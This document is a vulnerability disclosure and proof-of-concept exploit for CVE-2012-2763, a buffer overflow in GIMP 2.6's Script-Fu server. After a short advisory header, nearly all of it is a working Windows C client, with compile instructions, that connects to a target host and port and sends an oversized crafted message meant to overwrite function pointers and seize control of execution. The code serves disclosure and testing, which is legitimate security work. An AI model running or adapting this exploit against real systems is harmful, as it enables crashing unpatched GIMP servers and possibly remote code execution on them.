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167 | /*
# There is a buffer overflow in the script-fu server component of GIMP
# (the GNU Image Manipulation Program) in all 2.6 versions (Windows and Linux
# versions) affecting both
# the script-fu console and the script-fu network server. A crafted msg to the
# script-fu server overflows a buffer and overwrites several function pointers
# allowing the attacker to gain control of EIP and potentially execute
# arbitrary
# code. This issue is fixed in the latest, stable GIMP version (currently 2.8.0).
#
# CVE number: CVE-2012-2763
# Impact: high
# Vendor Homepage: http://www.gimp.org/
# Date found: 18/05/2012
# Found by: d of Reaction Information Security
# Homepage: http://www.reactionpenetrationtesting.co.uk
====
POC
====
*/
////////////////////////////////////////////////////////////////
// //
// PoC for GIMP <= 2.6 Script-Fu server buffer overflow //
// Author: Joseph Sheridan //
// Date: 20/05/2012 //
// //
// compile with cl scriptfubof.c /link wsock32.lib //
////////////////////////////////////////////////////////////////
#define WIN32_LEAN_AND_MEAN
#include <winsock2.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#define DEFAULT_PORT 10008
// TCP socket type
#define DEFAULT_PROTO SOCK_STREAM
void senddata();
void recvdata();
WSADATA wsaData;
SOCKET conn_socket;
char Buffer[2000000];
char inBuffer[128];
void Usage()
{
printf("Usage: scriptfubof servername portnumber\n");
fflush(stdout);
exit(1);
}
int main(int argc, char *argv[])
{
// default to localhost
char *server_name= "localhost";
unsigned short port = DEFAULT_PORT;
int i, loopcount, maxloop=-1;
int retval;
unsigned int addr;
int socket_type = DEFAULT_PROTO;
struct sockaddr_in server;
if (argc < 3) {
Usage();
}
if ((retval = WSAStartup(0x202, &wsaData)) != 0)
{
fprintf(stderr,"WSAStartup() failed with error %d\n", retval);
WSACleanup();
return -1;
}
// Get portnum
port = atoi(argv[2]);
memset(&server, 0, sizeof(server));
server.sin_addr.s_addr = inet_addr(argv[1]);
server.sin_family = AF_INET;
server.sin_port = htons(port);
conn_socket = socket(AF_INET, socket_type, 0); /* Open a socket */
if (conn_socket <0 )
{
fprintf(stderr,"Client: Error Opening socket: Error %d\n", WSAGetLastError());
WSACleanup();
return -1;
}
if (connect(conn_socket, (struct sockaddr*)&server, sizeof(server)) == SOCKET_ERROR)
{
fprintf(stderr,"Client: connect() failed: %d\n", WSAGetLastError());
WSACleanup();
return -1;
}
// Send the data
senddata();
// recieve a msg
recvdata();
closesocket(conn_socket);
WSACleanup();
return 0;
}
void senddata() {
int loopcount = 0, retval =0;
unsigned char command[]="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
Buffer[0]='\x47'; //Magic byte 'G'
Buffer[1]=sizeof(command)/256; //High byte of L - L div 256
Buffer[2]=sizeof(command)%256; //Low byte of L - L mod 256
strcpy(&Buffer[3],command);
retval = send(conn_socket, Buffer, sizeof(command) +3, 0);
if (retval == SOCKET_ERROR)
{
fprintf(stderr,"Client: send() failed: error %d.\n", WSAGetLastError());
WSACleanup();
return;
}
else
printf("Client: send() is OK.\n");
printf("Client: Sent data \"%s\"\n", Buffer);
}
void recvdata() {
int i=0;
int retval=0;
memset(inBuffer,0,128);
retval = recv(conn_socket, inBuffer, 128, 0);
printf("retval is :%d\n", retval);
printf("first char is: %x\n", inBuffer[0]);
if (retval == SOCKET_ERROR)
{
fprintf(stderr,"Client: recv() failed: error %d.\n", WSAGetLastError());
closesocket(conn_socket);
WSACleanup();
return;
}
else {
printf("Client: recv() is OK.\n");
// print the message contents...
for (i=0;i<retval;i++) {
printf("%c", inBuffer[i]);
}
printf("\n");
fflush(stdout);
}
}
|
